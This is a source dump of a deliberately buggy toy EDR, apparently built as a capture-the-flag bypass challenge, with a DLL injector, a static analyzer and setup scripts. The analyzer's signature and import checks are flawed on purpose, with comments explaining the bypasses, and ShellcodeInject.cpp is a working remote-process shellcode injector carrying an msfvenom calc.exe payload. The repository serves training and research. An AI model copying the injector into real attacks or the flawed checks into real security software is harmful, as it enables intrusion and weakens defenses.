76 | CloseHandle(hProcess);
77 | return FALSE;
78 | }
79 | printf("\tAllocated: %d bytes\n", MAX_PATH);
80 |
81 | // Writing the path of the DLL to inject x64\Debug\MyDumbEDRDLL
82 | SIZE_T bytesWritten;
83 | if (!WriteProcessMemory(hProcess, vae_buffer, dll_full_path, MAX_PATH, &bytesWritten)) {
84 | printf("Can't write into memory, error: %lu\n", GetLastError());
85 | VirtualFreeEx(hProcess, vae_buffer, MESSAGE_SIZE, MEM_RELEASE);
86 | CloseHandle(hProcess);
87 | return FALSE;
88 | }
89 | printf("\tWrote %zu in %d process memory\n", bytesWritten, target_pid);
90 |
91 | // Creating a thread that will call LoadLibraryA and the path of the MyDUMBEDRDLL to load as argument
92 | HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)loadLibAddress, vae_buffer, 0, NULL);
93 | if (hThread == NULL) {
94 | printf("Can't launch remote thread, error: %lu\n", GetLastError());
95 | VirtualFreeEx(hProcess, vae_buffer, MESSAGE_SIZE, MEM_RELEASE);
96 | CloseHandle(hProcess);
97 | return FALSE;
98 | }
99 | printf("\tLaunched remote thread\n");
100 |
101 | VirtualFreeEx(hProcess, vae_buffer, MESSAGE_SIZE, MEM_RELEASE);
102 | CloseHandle(hThread);
103 | CloseHandle(hProcess);
104 | printf("\tClosed handle\n");
105 |
106 | wchar_t response[MESSAGE_SIZE] = { 0 };
107 | swprintf_s(response, MESSAGE_SIZE, L"OK\0");
108 | DWORD pipeBytesWritten = 0;
109 | // Write to the named pipe
110 | WriteFile(
111 | hServerPipe, // Handle to the named pipe
112 | response, // Buffer to write from
113 | MESSAGE_SIZE, // Size of the buffer
114 | &pipeBytesWritten, // Numbers of bytes written
115 | NULL // Whether or not the pipe supports overlapped operations
116 | );
117 |
118 | // Disconnect
119 | DisconnectNamedPipe(
120 | hServerPipe // Handle to the named pipe
121 | );
122 |
123 | printf("\n\n");
124 | }
125 | }
126 | }
--------------------------------------------------------------------------------
/MyDumbEDRRemoteInjector/MyDumbEDRRemoteInjector.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 16.0
23 | Win32Proj
24 | {469b8443-9b24-4020-9b2e-0478880a2f5a}
25 | MyDumbEDRRemoteInjector
26 | 10.0
27 |
28 |
29 |
30 | Application
31 | true
32 | v143
33 | Unicode
34 |
35 |
36 | Application
37 | false
38 | v143
39 | true
40 | Unicode
41 |
42 |
43 | Application
44 | true
45 | v143
46 | Unicode
47 |
48 |
49 | Application
50 | false
51 | v143
52 | true
53 | Unicode
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 | Level3
76 | true
77 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
78 | true
79 |
80 |
81 | Console
82 | true
83 |
84 |
85 |
86 |
87 | Level3
88 | true
89 | true
90 | true
91 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
92 | true
93 |
94 |
95 | Console
96 | true
97 | true
98 | true
99 |
100 |
101 |
102 |
103 | Level3
104 | true
105 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
106 | true
107 |
108 |
109 | Console
110 | true
111 |
112 |
113 |
114 |
115 | Level3
116 | true
117 | true
118 | true
119 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
120 | true
121 |
122 |
123 | Console
124 | true
125 | true
126 | true
127 |
128 |
129 |
130 |
131 |
132 |
133 |
134 |
135 |
--------------------------------------------------------------------------------
/MyDumbEDRRemoteInjector/MyDumbEDRRemoteInjector.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/MyDumbEDRRemoteInjector/MyDumbEDRRemoteInjector.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/MyDumbEDRStaticAnalyzer/MyDumbEDRStaticAnalyzer.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 |
8 | #pragma comment (lib, "wintrust.lib")
9 | #pragma comment(lib, "dbghelp.lib")
10 | #pragma comment(lib, "crypt32.lib")
11 |
12 | #define MESSAGE_SIZE 2048
13 |
14 | /*
15 | This function will check if the binary is signed. However there is a logical bug inside.
16 | If the binary is signed, whether or not the signature is verified, allowed or trusted, the function return True
17 |
18 | Thus, if an attacker is able to sign its binary with a custom certificate, the function will always return True
19 | */
20 | BOOL VerifyEmbeddedSignature(const wchar_t* binaryPath) {
21 | LONG lStatus;
22 | WINTRUST_FILE_INFO FileData;
23 | memset(&FileData, 0, sizeof(FileData));
24 | FileData.cbStruct = sizeof(WINTRUST_FILE_INFO);
25 | FileData.pcwszFilePath = binaryPath;
26 | FileData.hFile = NULL;
27 | FileData.pgKnownSubject = NULL;
28 | GUID WVTPolicyGUID = WINTRUST_ACTION_GENERIC_VERIFY_V2;
29 | WINTRUST_DATA WinTrustData;
30 |
31 | // Initializing necessary structures
32 | memset(&WinTrustData, 0, sizeof(WinTrustData));
33 | WinTrustData.cbStruct = sizeof(WinTrustData);
34 | WinTrustData.pPolicyCallbackData = NULL;
35 | WinTrustData.pSIPClientData = NULL;
36 | WinTrustData.dwUIChoice = WTD_UI_NONE;
37 | WinTrustData.fdwRevocationChecks = WTD_REVOKE_NONE;
38 | WinTrustData.dwUnionChoice = WTD_CHOICE_FILE;
39 | WinTrustData.dwStateAction = WTD_STATEACTION_VERIFY;
40 | WinTrustData.hWVTStateData = NULL;
41 | WinTrustData.pwszURLReference = NULL;
42 | WinTrustData.dwUIContext = 0;
43 | WinTrustData.pFile = &FileData;
44 |
45 | // WinVerifyTrust verifies signatures as specified by the GUID and Wintrust_Data.
46 | lStatus = WinVerifyTrust(NULL, &WVTPolicyGUID, &WinTrustData);
47 |
48 | BOOL isSigned;
49 | switch (lStatus) {
50 | // The file is signed and the signature was verified
51 | case ERROR_SUCCESS:
52 | isSigned = TRUE;
53 | break;
54 |
55 | // File is signed but the signature is not verified or is not trusted
56 | case TRUST_E_SUBJECT_FORM_UNKNOWN || TRUST_E_PROVIDER_UNKNOWN || TRUST_E_EXPLICIT_DISTRUST || CRYPT_E_SECURITY_SETTINGS || TRUST_E_SUBJECT_NOT_TRUSTED:
57 | isSigned = TRUE;
58 | break;
59 |
60 | // The file is not signed
61 | case TRUST_E_NOSIGNATURE:
62 | isSigned = FALSE;
63 | break;
64 |
65 | // Shouldn't happen but hey may be!
66 | default:
67 | isSigned = FALSE;
68 | break;
69 | }
70 |
71 | // Any hWVTStateData must be released by a call with close.
72 | WinTrustData.dwStateAction = WTD_STATEACTION_CLOSE;
73 | WinVerifyTrust(NULL, &WVTPolicyGUID, &WinTrustData);
74 |
75 | return isSigned;
76 | }
77 |
78 | /*
79 | This function parses the IAT table in order to retrieve loaded DLL's and then manually check if the binary
80 | uses dumping functions which are:
81 | - OpenProcess: used to obtain a handle on a process
82 | - VirtualAllocEx: used to allocate memory to write a shellcode
83 | - WriteProcessMemory: used to write the shellcode in the previously allocated memory space
84 | - CreateRemoteThread: used to execute our thread
85 |
86 | A binary can hide its IAT or simply dynamically load functions it needs using GetProcAddress.
87 | Doing so, it will bypass this check.
88 | */
89 | BOOL ListImportedFunctions(const wchar_t* binaryPath) {
90 | BOOL isOpenProcessPresent = FALSE;
91 | BOOL isVirtualAllocExPresent = FALSE;
92 | BOOL isWriteProcessMemoryPresent = FALSE;
93 | BOOL isCreateRemoteThreadPresent = FALSE;
94 | // Load the target binary so that we can parse its content
95 | HMODULE hModule = LoadLibraryEx(binaryPath, NULL, DONT_RESOLVE_DLL_REFERENCES);
96 | if (hModule != NULL) {
97 | // Get NT headers from the binary
98 | IMAGE_NT_HEADERS* ntHeaders = ImageNtHeader(hModule);
99 | if (ntHeaders != NULL) {
100 | // Locate the IAT
101 | IMAGE_IMPORT_DESCRIPTOR* importDesc = (IMAGE_IMPORT_DESCRIPTOR*)((BYTE*)hModule + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
102 | // Loop over the DLL's
103 | while (importDesc->Name != 0) {
104 | const char* moduleName = (const char*)((BYTE*)hModule + importDesc->Name);
105 |
106 | // Loop over the functions of the DLL
107 | IMAGE_THUNK_DATA* thunk = (IMAGE_THUNK_DATA*)((BYTE*)hModule + importDesc->OriginalFirstThunk);
108 | while (thunk->u1.AddressOfData != 0) {
109 | if (thunk->u1.Ordinal & IMAGE_ORDINAL_FLAG) {
110 | //printf("\tOrdinal: %llu\n", IMAGE_ORDINAL(thunk->u1.Ordinal));
111 | }
112 | else {
113 | IMAGE_IMPORT_BY_NAME* importByName = (IMAGE_IMPORT_BY_NAME*)((BYTE*)hModule + thunk->u1.AddressOfData);
114 | //printf("\tFunction: %s\n", importByName->Name);
115 | // Checks if the following functions are used by the binary
116 |
117 | if (strcmp("OpenProcess", importByName->Name) == 0) {
118 | isOpenProcessPresent = TRUE;
119 | }
120 |
121 | if (strcmp("VirtualAllocEx", importByName->Name) == 0) {
122 | isVirtualAllocExPresent = TRUE;
123 | }
124 |
125 | if (strcmp("WriteProcessMemory", importByName->Name) == 0) {
126 | isWriteProcessMemoryPresent = TRUE;
127 | }
128 |
129 | if (strcmp("CreateRemoteThread", importByName->Name) == 0) {
130 | isCreateRemoteThreadPresent = TRUE;
131 | }
132 |
133 | }
134 | thunk++;
135 | }
136 | importDesc++;
137 | }
138 | FreeLibrary(hModule);
139 | }
140 | FreeLibrary(hModule);
141 | }
142 |
143 | if (isOpenProcessPresent && isVirtualAllocExPresent && isWriteProcessMemoryPresent && isCreateRemoteThreadPresent) {
144 | return TRUE;
145 | }
146 | else {
147 | return FALSE;
148 | }
149 | return FALSE;
150 | }
151 |
152 | /*
153 | This function looks for the SeDebugPrivilege string inside the binary.
154 | Stripping the binary will hide it ;)
155 | */
156 | BOOL lookForSeDebugPrivilegeString(const wchar_t* filename) {
157 | FILE* file;
158 | _wfopen_s(&file, filename, L"rb");
159 | if (file != NULL) {
160 | fseek(file, 0, SEEK_END);
161 | long file_size = ftell(file);
162 | rewind(file);
163 | char* buffer = (char*)malloc(file_size);
164 | if (buffer != NULL) {
165 | if (fread(buffer, 1, file_size, file) == file_size) {
166 | const char* search_string = "SeDebugPrivilege";
167 | size_t search_length = strlen(search_string);
168 | int i, j;
169 | int found = 0;
170 | for (i = 0; i <= file_size - search_length; i++) {
171 | for (j = 0; j < search_length; j++) {
172 | if (buffer[i + j] != search_string[j]) {
173 | break;
174 | }
175 | }
176 | if (j == search_length) {
177 | return TRUE;
178 | }
179 | }
180 | }
181 | free(buffer);
182 | }
183 | fclose(file);
184 | }
185 | return FALSE;
186 | }
187 |
188 | int main() {
189 | LPCWSTR pipeName = L"\\\\.\\pipe\\dumbedr-analyzer";
190 | DWORD bytesRead = 0;
191 | wchar_t target_binary_file[MESSAGE_SIZE] = { 0 };
192 |
193 | printf("Launching analyzer named pipe server\n");
194 |
195 | // Creates a named pipe
196 | HANDLE hServerPipe = CreateNamedPipe(
197 | pipeName, // Pipe name to create
198 | PIPE_ACCESS_DUPLEX, // Whether the pipe is supposed to receive or send data (can be both)
199 | PIPE_TYPE_MESSAGE, // Pipe mode (whether or not the pipe is waiting for data)
200 | PIPE_UNLIMITED_INSTANCES, // Maximum number of instances from 1 to PIPE_UNLIMITED_INSTANCES
201 | MESSAGE_SIZE, // Number of bytes for output buffer
202 | MESSAGE_SIZE, // Number of bytes for input buffer
203 | 0, // Pipe timeout
204 | NULL // Security attributes (anonymous connection or may be needs credentials. )
205 | );
206 |
207 | while (TRUE) {
208 |
209 | // ConnectNamedPipe enables a named pipe server to start listening for incoming connections
210 | BOOL isPipeConnected = ConnectNamedPipe(
211 | hServerPipe, // Handle to the named pipe
212 | NULL // Whether or not the pipe supports overlapped operations
213 | );
214 |
215 | wchar_t target_binary_file[MESSAGE_SIZE] = { 0 };
216 | if (isPipeConnected) {
217 | // Read from the named pipe
218 | ReadFile(
219 | hServerPipe, // Handle to the named pipe
220 | &target_binary_file, // Target buffer where to stock the output
221 | MESSAGE_SIZE, // Size of the buffer
222 | &bytesRead, // Number of bytes read from ReadFile
223 | NULL // Whether or not the pipe supports overlapped operations
224 | );
225 |
226 | printf("~> Received binary file %ws\n", target_binary_file);
227 | int res = 0;
228 |
229 | BOOL isSeDebugPrivilegeStringPresent = lookForSeDebugPrivilegeString(target_binary_file);
230 | if (isSeDebugPrivilegeStringPresent == TRUE) {
231 | printf("\t\033[31mFound SeDebugPrivilege string.\033[0m\n");
232 | }
233 | else {
234 | printf("\t\033[32mSeDebugPrivilege string not found.\033[0m\n");
235 | }
236 |
237 | BOOL isDangerousFunctionsFound = ListImportedFunctions(target_binary_file);
238 | if (isDangerousFunctionsFound == TRUE) {
239 | printf("\t\033[31mDangerous functions found.\033[0m\n");
240 | }
241 | else {
242 | printf("\t\033[32mNo dangerous functions found.\033[0m\n");
243 | }
244 |
245 | BOOL isSigned = VerifyEmbeddedSignature(target_binary_file);
246 | if (isSigned == TRUE) {
247 | printf("\t\033[32mBinary is signed.\033[0m\n");
248 | }
249 | else {
250 | printf("\t\033[31mBinary is not signed.\033[0m\n");
251 | }
252 |
253 | // Here there is a logical bug. If the binary is signed, all others checks are ignored
254 | wchar_t response[MESSAGE_SIZE] = { 0 };
255 | if (isSigned == TRUE) {
256 | swprintf_s(response, MESSAGE_SIZE, L"OK\0");
257 | printf("\t\033[32mStaticAnalyzer allows\033[0m\n");
258 | }
259 | else {
260 | // If the following conditions are met, the binary is blocked
261 | if (isDangerousFunctionsFound || isSeDebugPrivilegeStringPresent) {
262 | swprintf_s(response, MESSAGE_SIZE, L"KO\0");
263 | printf("\n\t\033[31mStaticAnalyzer denies\033[0m\n");
264 | }
265 | else {
266 | swprintf_s(response, MESSAGE_SIZE, L"OK\0");
267 | printf("\n\t\033[32mStaticAnalyzer allows\033[0m\n");
268 | }
269 | }
270 |
271 | DWORD bytesWritten = 0;
272 | // Write to the named pipe
273 | WriteFile(
274 | hServerPipe, // Handle to the named pipe
275 | response, // Buffer to write from
276 | MESSAGE_SIZE, // Size of the buffer
277 | &bytesWritten, // Numbers of bytes written
278 | NULL // Whether or not the pipe supports overlapped operations
279 | );
280 |
281 | }
282 |
283 | // Disconnect
284 | DisconnectNamedPipe(
285 | hServerPipe // Handle to the named pipe
286 | );
287 |
288 | printf("\n\n");
289 | }
290 | return 0;
291 | }
--------------------------------------------------------------------------------
/MyDumbEDRStaticAnalyzer/MyDumbEDRStaticAnalyzer.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 16.0
23 | Win32Proj
24 | {11bada32-bf65-4f34-b4dd-1d256ad6ef83}
25 | MyDumbEDRStaticAnalyzer
26 | 10.0
27 |
28 |
29 |
30 | Application
31 | true
32 | v143
33 | Unicode
34 |
35 |
36 | Application
37 | false
38 | v143
39 | true
40 | Unicode
41 |
42 |
43 | Application
44 | true
45 | v143
46 | Unicode
47 |
48 |
49 | Application
50 | false
51 | v143
52 | true
53 | Unicode
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 | Level3
76 | true
77 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
78 | true
79 |
80 |
81 | Console
82 | true
83 |
84 |
85 |
86 |
87 | Level3
88 | true
89 | true
90 | true
91 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
92 | true
93 |
94 |
95 | Console
96 | true
97 | true
98 | true
99 |
100 |
101 |
102 |
103 | Level3
104 | true
105 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
106 | true
107 |
108 |
109 | Console
110 | true
111 |
112 |
113 |
114 |
115 | Level3
116 | true
117 | true
118 | true
119 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
120 | true
121 |
122 |
123 | Console
124 | true
125 | true
126 | true
127 |
128 |
129 |
130 |
131 |
132 |
133 |
134 |
135 |
--------------------------------------------------------------------------------
/MyDumbEDRStaticAnalyzer/MyDumbEDRStaticAnalyzer.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/MyDumbEDRStaticAnalyzer/MyDumbEDRStaticAnalyzer.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # MyDumbEDR
2 |
3 | This repo contains all the necessary files to run the MyDumbEDR and try to bypass.
4 |
5 | ## To run the project
6 |
7 | First you'll have to open the .sln file in Visual Studio 2019 and compile the projects (required stuffs is described in the blogpsot.)
8 |
9 | Then you can open the create.bat file and replace absolute links and finally run the bat script which will launch everything :)
10 |
11 | For more information about building the project, please take a look at [URL BLOG]
12 |
13 | ## Rules
14 |
15 | The game is simple, bypass the EDR. I wrote code that is voluntary buggued so I strongly encourage you reading the source code of the differents components. This bugued code mimics things that you can encounter while fighting against real EDR's so... Have fun :)
16 |
17 | Happy hacking!
18 |
--------------------------------------------------------------------------------
/ShellcodeInject/ShellcodeInject.cpp:
--------------------------------------------------------------------------------
1 | #include "stdio.h"
2 | #include
3 | #include
4 |
5 | int get_process_id_from_szexefile(wchar_t processName[]) {
6 | PROCESSENTRY32 entry = { 0 };
7 | entry.dwSize = sizeof(PROCESSENTRY32);
8 | HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
9 | if (Process32First(snapshot, &entry) == TRUE) {
10 | while (Process32Next(snapshot, &entry) == TRUE) {
11 | if (wcscmp(entry.szExeFile, processName) == 0) {
12 | return entry.th32ProcessID;
13 | }
14 | }
15 | }
16 | else {
17 | printf("CreateToolhelper32Snapshot failed : %d\n", GetLastError());
18 | exit(1);
19 | }
20 | printf("Process not found.\n");
21 | exit(1);
22 | }
23 |
24 | void check_if_se_debug_privilege_is_enabled() {
25 | HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());
26 | HANDLE hToken;
27 | OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
28 | DWORD cbSize;
29 | GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &cbSize);
30 | PTOKEN_MANDATORY_LABEL pTIL = (PTOKEN_MANDATORY_LABEL)LocalAlloc(0, cbSize);
31 | GetTokenInformation(hToken, TokenIntegrityLevel, pTIL, cbSize, &cbSize);
32 | DWORD current_process_integrity = (DWORD)*GetSidSubAuthority(pTIL->Label.Sid, (DWORD)(UCHAR)(*GetSidSubAuthorityCount(pTIL->Label.Sid) - 1));
33 |
34 | TOKEN_PRIVILEGES tp;
35 |
36 | LUID luidSeDebugPrivilege;
37 | if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luidSeDebugPrivilege) == 0) {
38 | printf("SeDebugPrivilege not owned\n");
39 | }
40 | else {
41 | printf("SeDebugPrivilege owned\n");
42 | }
43 | tp.PrivilegeCount = 1;
44 | tp.Privileges[0].Luid = luidSeDebugPrivilege;
45 | tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
46 | if (AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL) == 0) {
47 | printf("SeDebugPrivilege adjust token failed: %d\n", GetLastError());
48 | }
49 | else {
50 | printf("SeDebugPrivilege enabled.\n");
51 | }
52 |
53 | CloseHandle(hProcess);
54 | CloseHandle(hToken);
55 | }
56 |
57 | int main() {
58 | printf("Launching remote shellcode injection\n");
59 |
60 | // DO NOT REMOVE
61 | // When loading a DLL remotely, its content won't apply until all DLL's are loaded
62 | // For some reason it leads to a race condition which is not part of the challenge
63 | // Hence do not remove the Sleep (even if it'd allow you bypassing the hooks)
64 | Sleep(5000);
65 | // DO NOT REMOVE
66 | check_if_se_debug_privilege_is_enabled();
67 | wchar_t processName[] = L"notepad.exe";
68 | int processId = get_process_id_from_szexefile(processName);
69 | printf("Injecting to PID: %i\n", processId);
70 | HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(processId));
71 |
72 | printf("VirtualAllocEx\n");
73 | // msfvenom -p windows/x64/exec CMD=calc.exe -b "\x00\x0a\0d" -f c
74 | unsigned char shellcode[] =
75 | "\x48\x31\xc9\x48\x81\xe9\xdb\xff\xff\xff\x48\x8d\x05\xef\xff"
76 | "\xff\xff\x48\xbb\x33\xef\x18\x46\xf8\x06\x62\xef\x48\x31\x58"
77 | "\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xcf\xa7\x9b\xa2\x08\xee"
78 | "\xa2\xef\x33\xef\x59\x17\xb9\x56\x30\xbe\x65\xa7\x29\x94\x9d"
79 | "\x4e\xe9\xbd\x53\xa7\x93\x14\xe0\x4e\xe9\xbd\x13\xa7\x93\x34"
80 | "\xa8\x4e\x6d\x58\x79\xa5\x55\x77\x31\x4e\x53\x2f\x9f\xd3\x79"
81 | "\x3a\xfa\x2a\x42\xae\xf2\x26\x15\x07\xf9\xc7\x80\x02\x61\xae"
82 | "\x49\x0e\x73\x54\x42\x64\x71\xd3\x50\x47\x28\x8d\xe2\x67\x33"
83 | "\xef\x18\x0e\x7d\xc6\x16\x88\x7b\xee\xc8\x16\x73\x4e\x7a\xab"
84 | "\xb8\xaf\x38\x0f\xf9\xd6\x81\xb9\x7b\x10\xd1\x07\x73\x32\xea"
85 | "\xa7\x32\x39\x55\x77\x31\x4e\x53\x2f\x9f\xae\xd9\x8f\xf5\x47"
86 | "\x63\x2e\x0b\x0f\x6d\xb7\xb4\x05\x2e\xcb\x3b\xaa\x21\x97\x8d"
87 | "\xde\x3a\xab\xb8\xaf\x3c\x0f\xf9\xd6\x04\xae\xb8\xe3\x50\x02"
88 | "\x73\x46\x7e\xa6\x32\x3f\x59\xcd\xfc\x8e\x2a\xee\xe3\xae\x40"
89 | "\x07\xa0\x58\x3b\xb5\x72\xb7\x59\x1f\xb9\x5c\x2a\x6c\xdf\xcf"
90 | "\x59\x14\x07\xe6\x3a\xae\x6a\xb5\x50\xcd\xea\xef\x35\x10\xcc"
91 | "\x10\x45\x0e\x42\x07\x62\xef\x33\xef\x18\x46\xf8\x4e\xef\x62"
92 | "\x32\xee\x18\x46\xb9\xbc\x53\x64\x5c\x68\xe7\x93\x43\xf6\xd7"
93 | "\x4d\x65\xae\xa2\xe0\x6d\xbb\xff\x10\xe6\xa7\x9b\x82\xd0\x3a"
94 | "\x64\x93\x39\x6f\xe3\xa6\x8d\x03\xd9\xa8\x20\x9d\x77\x2c\xf8"
95 | "\x5f\x23\x66\xe9\x10\xcd\x05\xc2\x5a\x35\x86\x5d\x8b\x77\x31"
96 | "\x8b\x5a\x31\x96\x40\x9b\x7d\x2b\xcb\x34\x3e\x8c\x52\x83\x7b"
97 | "\x68\x9d\x7e\x07\xef";
98 | PVOID remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
99 |
100 | printf("WriteProcessMemory\n");
101 | WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof(shellcode), NULL);
102 |
103 | printf("CreateRemoteThread\n");
104 | HANDLE remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
105 |
106 | printf("Congratz dude! The flag is MyDumbEDR{H4ckTH3W0rld}\n");
107 | printf("Expect more checks in the upcoming weeks ;)\n");
108 | CloseHandle(processHandle);
109 | return 0;
110 | }
--------------------------------------------------------------------------------
/ShellcodeInject/ShellcodeInject.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 16.0
23 | Win32Proj
24 | {3ca421b8-2e9e-4f19-b178-7c18d592b27c}
25 | ShellcodeInject
26 | 10.0
27 |
28 |
29 |
30 | Application
31 | true
32 | v143
33 | Unicode
34 |
35 |
36 | Application
37 | false
38 | v143
39 | true
40 | Unicode
41 |
42 |
43 | Application
44 | true
45 | v143
46 | Unicode
47 |
48 |
49 | Application
50 | false
51 | v143
52 | true
53 | Unicode
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 | Level3
76 | true
77 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
78 | true
79 |
80 |
81 | Console
82 | true
83 |
84 |
85 |
86 |
87 | Level3
88 | true
89 | true
90 | true
91 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
92 | true
93 |
94 |
95 | Console
96 | true
97 | true
98 | true
99 |
100 |
101 |
102 |
103 | Level3
104 | true
105 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
106 | true
107 |
108 |
109 | Console
110 | true
111 |
112 |
113 |
114 |
115 | Level3
116 | true
117 | true
118 | true
119 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
120 | true
121 |
122 |
123 | Console
124 | true
125 | true
126 | true
127 |
128 |
129 |
130 |
131 |
132 |
133 |
134 |
135 |
--------------------------------------------------------------------------------
/ShellcodeInject/ShellcodeInject.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/ShellcodeInject/ShellcodeInject.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | true
5 |
6 |
--------------------------------------------------------------------------------
/create.bat:
--------------------------------------------------------------------------------
1 | sc create mydumbedr type=kernel binpath=Z:\windev\MyDumbEDR\x64\Debug\MyDumbEDRDriver.sys
2 | sc start mydumbedr
3 | start cmd.exe /c Z:\windev\MyDumbEDR\x64\Debug\MyDumbEDRStaticAnalyzer.exe
4 | start cmd.exe /c Z:\windev\MyDumbEDR\x64\Debug\MyDumbEDRRemoteInjector.exe
5 | start cmd.exe /K "cd Z:\windev\MyDumbEDR\x64\Debug"
6 |
7 | echo EDR's running, press any key to stop it
8 | pause
9 |
10 | taskkill /F /IM MyDumbEDRStaticAnalyzer.exe
11 | taskkill /F /IM MyDumbEDRRemoteInjector.exe
12 | sc stop mydumbedr
13 | sc delete mydumbedr
14 |
--------------------------------------------------------------------------------
/launch.bat:
--------------------------------------------------------------------------------
1 | start /b Z:\windev\MyDumbEDR\MyDumbEDR.sln run
2 | dbgview.exe
3 | z:
4 | cmd.exe /K "cd Z:\windev\MyDumbEDR\"
--------------------------------------------------------------------------------